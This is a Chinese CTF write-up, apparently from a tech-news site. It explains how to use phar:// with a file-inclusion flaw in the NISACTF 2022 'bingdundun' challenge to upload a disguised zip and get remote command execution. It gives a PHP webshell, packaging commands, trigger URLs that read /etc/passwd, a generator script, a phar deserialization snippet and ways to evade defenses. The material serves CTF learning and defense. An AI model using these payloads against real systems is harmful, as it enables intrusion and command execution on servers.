当前位置: 首页 > news >正文

CTF实战:手把手教你用phar伪协议绕过文件上传限制(以NISACTF 2022 bingdundun为例)

CTF实战:利用phar伪协议突破文件上传限制的深度解析

在CTF竞赛和实际渗透测试中,文件上传功能常常是突破系统防线的关键入口点。当遇到仅允许上传图片或压缩包的场景时,phar伪协议配合文件包含漏洞往往能打开RCE的大门。本文将以NISACTF 2022的bingdundun题目为例,详细剖析从漏洞发现到最终getshell的完整攻击链。

1. 漏洞环境分析与攻击原理

打开题目链接后,我们首先看到一个文件上传界面,提示仅允许上传图片或压缩包。观察URL参数发现存在?bingdundun=index这样的传参方式,测试发现无论传入什么值,系统都会自动追加.php后缀。这种特性暗示着可能存在文件包含漏洞。

关键发现点

  • 上传功能对文件内容检查不严格,仅验证文件扩展名
  • URL参数存在自动追加后缀的行为,可能未过滤特殊协议
  • 服务器运行PHP环境,支持伪协议操作

提示:在实际测试中,建议先用正常图片上传测试返回路径格式,为后续攻击做准备

PHP伪协议中,phar://的特殊性在于它能将任意后缀的压缩包(需符合zip格式)当作phar文件解析。与zip://等协议相比,它具有以下优势:

协议类型需要指定后缀支持压缩格式元数据处理
phar://zip支持反序列化
zip://zip不支持
bzip2://bz2不支持

2. 恶意压缩包构造实战

要利用phar协议,我们需要创建一个包含恶意代码的压缩包。虽然题目允许上传.zip文件,但为了绕过可能的额外检查,建议将文件重命名为图片后缀(如.jpg)。

构造步骤

  1. 创建包含PHP代码的文本文件(如shell.php):
<?php system($_GET['cmd']); ?>
  1. 使用zip命令打包文件(Linux环境示例):
zip payload.zip shell.php
  1. 重命名压缩包以绕过检查:
mv payload.zip payload.jpg

关键技巧

  • 压缩包内文件名尽量简短,避免包含特殊字符
  • 使用最小化压缩包(仅包含必要文件)
  • 可尝试多种压缩格式(如phar原生格式)

注意:某些环境可能检查文件魔数,此时需要在压缩包开头添加图片头信息

3. 文件上传与路径获取

将构造好的"图片"上传后,系统通常会返回存储路径。不同系统的返回格式可能不同,常见的有:

  • 完整URL路径:/uploads/ab12cd34ef.jpg
  • 相对路径:ab12cd34ef.jpg
  • 哈希命名:md5(时间戳).jpg

实战记录

POST /upload.php HTTP/1.1 Host: ctf.example.com Content-Type: multipart/form-data [文件内容...] HTTP/1.1 200 OK {"status":"success","path":"/uploads/63a1f950e6.jpg"}

获取到文件路径后,结合之前发现的文件包含漏洞,就可以构造攻击链了。

4. phar协议触发与RCE实现

利用返回的文件路径和文件包含漏洞,构造如下攻击URL:

http://ctf.example.com/index.php?bingdundun=phar://uploads/63a1f950e6.jpg/shell

为什么不是/shell.php?

  • 题目环境会自动追加.php后缀
  • 实际请求会被解析为phar://uploads/63a1f950e6.jpg/shell.php

成功触发后,就可以通过cmd参数执行系统命令:

http://ctf.example.com/index.php?bingdundun=phar://uploads/63a1f950e6.jpg/shell&cmd=ls%20/

常用命令执行检查点

  • ls /查看根目录文件
  • cat /etc/passwd检查用户列表
  • find / -name "*flag*"搜索flag文件

5. 防御方案与检测绕过技巧

了解攻击原理后,我们也要思考如何防御此类攻击。作为开发人员,可以采取以下措施:

  1. 文件内容校验

    • 检查文件魔数而不仅是扩展名
    • 使用getimagesize()等函数验证图片真实性
  2. 权限控制

    • 上传目录禁止PHP执行
    • 设置open_basedir限制访问范围
  3. 输入过滤

    • 过滤包含协议的特殊字符(如://
    • 禁用危险协议(修改php.ini的allow_url_include

作为攻击方,面对这些防御可以尝试:

  • 在压缩包中添加真实的图片文件
  • 使用双重压缩(zip内嵌zip)
  • 尝试其他伪协议组合(如zip://phar://

6. 扩展攻击面:phar反序列化利用

除了直接包含代码外,phar文件的元数据(metadata)在反序列化时也可能成为攻击点。构造特殊的metadata可以实现更隐蔽的攻击:

$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setMetadata(new DangerousObject()); $phar->stopBuffering();

当这个phar文件被任何文件操作函数(如file_exists())通过phar协议解析时,DangerousObject__wakeup()__destruct()方法就会被自动调用。

实际CTF中的应用场景

  • 题目没有明显的文件包含点,但有文件存在性检查
  • 存在POP链但缺乏直接反序列化入口
  • 需要绕过disable_functions限制

7. 不同环境的适配与调试技巧

在实际测试中,不同PHP版本和环境配置可能导致攻击失败。以下是常见问题及解决方案:

问题1:phar协议被禁用

  • 检查phpinfo()的输出
  • 尝试其他协议组合(如compress.zlib://phar://

问题2:自动追加后缀导致解析失败

  • 尝试路径截断(如phar://path/to/file.jpg%00
  • 使用目录穿越(phar://path/to/file.jpg/../../shell

问题3:文件内容被修改

  • 在压缩包中添加注释区干扰内容检查
  • 使用密码保护的压缩包(需环境支持)

调试时建议在本地搭建相似环境,使用tcpdumpburpsuite观察实际请求:

tcpdump -i lo -A port 80 | grep -E '(phar|zip)'

8. 自动化工具与实战脚本

对于频繁参加CTF的选手,可以准备一些自动化脚本提高效率。以下是快速生成攻击文件的Python示例:

import os import zipfile def create_malicious_zip(php_code, output_name): with open('shell.php', 'w') as f: f.write(php_code) with zipfile.ZipFile(output_name+'.zip', 'w') as z: z.write('shell.php') os.rename(output_name+'.zip', output_name+'.jpg') os.unlink('shell.php') print(f"[+] Malicious file created: {output_name}.jpg") create_malicious_zip('<?=`$_GET[cmd]`?>', 'payload')

常用工具推荐

  • Burp Suite:拦截修改上传请求
  • 010 Editor:分析修改文件魔数
  • CyberChef:快速编解码操作

在真实渗透测试中,我曾遇到过一个案例:系统严格检查了文件内容,但忽略了临时文件的上传过程。通过构造特大文件引发系统分段上传,最终在临时目录中找到了未经验证的文件副本。

http://www.jsqmd.com/news/920440/

相关文章:

  • 非接触式同步电机转子励磁系统的辨识建模与动态分析建模【附代码】
  • 别再只用HashMap了!Java Stream分组时保留插入顺序的两种正确姿势(LinkedHashMap实战)
  • 从一颗反相器到整个芯片:CMOS反相器尺寸(W/L)优化对电路性能的实际影响
  • OpenCV滤波器选型指南:人脸美化用双边滤波,去椒盐噪声用中值,边缘检测Sobel和Canny怎么选?
  • PHP文件包含新思路:除了php://filter,别忘了phar://这个隐藏BOSS
  • BOLT技术:基于HBM的无感映射安全加速方案
  • 告别手动配置!用Matlab+LUA脚本自动化控制TI mmWave Studio采集雷达数据(DCA1000+1843实战)
  • 告别仿真器!手把手教你用USB转TTL给N76E003核心板烧程序(附Bootloader配置)
  • 别再让日志石沉大海:手把手教你用3CDaemon搭建交换机日志服务器(附华为/华三配置命令)
  • 北斗SPP定位精度能到多少米?实测对比单频B3I与双频消电离层效果
  • 2026年口碑好的直线丝杆步进电机/丝杆步进电机/28丝杆步进电机/微型丝杆步进电机公司哪家好 - 品牌宣传支持者
  • 猫抓Cat-Catch:终极网页资源嗅探扩展完整指南
  • 保姆级教程:用HACS插件将追觅扫地机器人接入Home Assistant,实现苹果家庭App控制
  • STM32 IAP升级太慢?试试用DMA自定义大容量FIFO来加速串口固件传输
  • 从GPU到MLU:手把手教你理解寒武纪MLUv3架构的存储层级与编程模型差异
  • Arm Compiler for Embedded 6.22 新特性与嵌入式开发指南
  • 新手硬件工程师必看:DDR3 PCB布局布线,避开这5个坑,信号质量稳了
  • 告别信号完整性问题:用实际案例复盘一次DDR3设计从失败到成功的全过程
  • TaiBai芯片:脑启发计算与脉冲神经网络硬件革新
  • 选型避坑指南:如何根据项目需求(Robotaxi vs. 低速无人车)看懂激光雷达参数表?
  • EEG图像重建技术:从脑电信号到视觉内容解码
  • 保姆级避坑指南:用Raspberry Pi Zero 2 W连接ADS1115和多个传感器,搞定智能花盆数据采集
  • Inkscape光线追踪扩展完全指南:零基础绘制专业光学图表的终极教程
  • 番茄小说下载器:快速将网络小说转为本地电子书的完整解决方案
  • 别让电源毁了你的DDR3稳定性:1.5V电源平面分割、滤波电容摆放的细节与实测
  • 保姆级教程:用VTST脚本给VASP打补丁,搞定CI-NEB过渡态计算
  • YOLOv8+DeepSORT项目实战:如何自定义检测区域与越界规则(以停车场和商场入口为例)
  • 抖音无水印视频下载:3分钟学会的终极免费工具使用指南
  • Scandit这家瑞士公司的技术,如何让你手机摄像头变成专业扫码枪?
  • Win10/Win11下Cadence全家桶卡顿?可能是输入法埋的‘雷’,保姆级排查与修复指南